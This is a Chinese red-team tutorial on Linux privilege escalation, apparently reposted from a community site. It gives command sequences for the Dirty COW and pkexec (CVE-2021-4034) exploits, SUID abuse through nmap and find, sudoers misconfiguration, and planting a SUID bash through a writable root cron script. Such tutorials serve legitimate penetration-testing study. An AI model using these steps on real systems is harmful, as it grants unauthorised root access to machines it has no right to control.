本文来自无问社区,更多实战内容可前往查看
http://wwlib.cn/index.php/artread/artid/10165.html续接上文 谈完红队中的权限维持后就要总结一下如何提权了 ,之前有聊过Windows提权,这里讲讲自己对Linux提权的总结。
0x01 Linux 提权
1、CVE-2016-5195
脏牛漏洞(CVE-2016-5195)是个很经典的漏洞了,从 2007 年发布 2.6.22 版本开始,直到 2016 年 10 月 18 日为止,这中间发行的所有 Linux 系统都受影响。
使用 searchsploit 看看有哪些可以利用的 POC。
searchsploit Dirty COW
可以看到内核版本在 2.6.22 至 3.9 的 Linux 都受到了影响。
使用 uname 查看当前系统内核版本。
uname -sr
可以看到这个内核版本是受到影响的。
这里以 linux/local/40838.c poc 作为示例,通过 -p 查看该 POC 所在路径。
将该 POC 上传至目标后,通过 cat 40839.c 查看该 POC 的使用命令。
gcc -pthread 40839.c -o dirty -lcrypt
./dirty
2、服务提权
CVE-2021-4034
在 Polkit 的 pkexec 中存在提权漏洞,2009 年 5 月至今发布的所有 Polkit 版本都受到影响,Polkit 预装在 CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia 等多个 Linux 发行版上,所有存在 Polkit 的 Linux 系统均受影响。
Linux 系统用户可以通过查看 Polkit 版本来判断当前系统是否在受影响范围内,主流 Linux 发行版命令如下:
CentOS:
rpm -qa polkit
Ubuntu:
dpkg -l policykit-1
利用命令如下:
git clone https:
cd CVE-2021-4034
make
./cve-2021-4034
其他的服务提权还有数据库提权、NFS、Redis 提权等等,这类都需要 Linux 上部署有对应的服务或者有错误的配置才能利用。
3、工具
对于 Linux 提权的 CVE 有很多,可以使用一些工具帮助我们快速的发现当前 Linux 可能存在的提权漏洞。
linux-exploit-suggester
wget https:
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
linux-exploit-suggester-2
wget https:
chmod +x linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl
4、SUID 提权
SUID 可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个 root 用户所属的 SUID 文件,我们就可以获取到 root 权限。
常见 Linux 中 root 文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
使用以下命令查找具有 root 权限的 SUID 的文件,不同系统适用于不同的命令:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
nmap
在 Nmap 版本为 2.02 到 5.21 之间的具有交互模式,允许用户执行 shell 命令。
当 Nmap 位于以 root 权限执行的二进制文件列表中时,就可以使用交互式控制台来运行具有相同权限的 shell。
nmap --interactive
!sh
whoami
find
touch teamssix
find teamssix -exec whoami ;
5、SUDO 提权
一般情况下,在运行 sudo 命令时都是需要输入当前用户密码的,但如果运维人员为了方便可能会造成 /etc/sudoers 文件配置不当。
例如以下配置:
当我们使用 t 用户时,使用 sudo 命令就不需要输入密码。
6、计划任务
计划任务的原理是,当计划任务中有以 root 用户权限运行的脚本文件且我们能对该文件进行编辑时,就存在计划任务提权。
例如我们查看当前系统的计划任务:
cat /etc/crontab
可以看到当前有一条计划任务,该计划任务会以 root 权限每分钟执行一次 /tmp/teamssix.sh 脚本。
查看该脚本文件,发现该脚本文件允许任意用户编辑。
ls -l /tmp/teamssix.sh
编辑 /tmp/teamssix.sh 文件,添加以下内容:
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
添加的内容表示,复制 /bin/bash 到 /tmp/bash,并将 /tmp/bash 命令加上 SUID 权限。
当计划任务被执行后,就可以使用 /tmp/bash 文件进行提权了。
除了上面的方法外还有环境变量提权、root 密码复用提权等等方法,这里篇幅有限就不一一列举了。
0x02 总结
不管是 Windows 还是 Linux 提权,每天都有人在不断的研究,新的提权漏洞也层出不穷。
蓝队打补丁的速度总是要要晚于漏洞出现的速度,因此在实战中一般都是优先尝试使用新出的提权漏洞,这样成功率会更高,其次再去看看有没有一些配置不当可以被提权的地方。
所以平时有新的提权漏洞出来时,可以自己先本地复现一波,做好笔记,在实战的时候就能很快的找到相应的漏洞并去尝试利用了。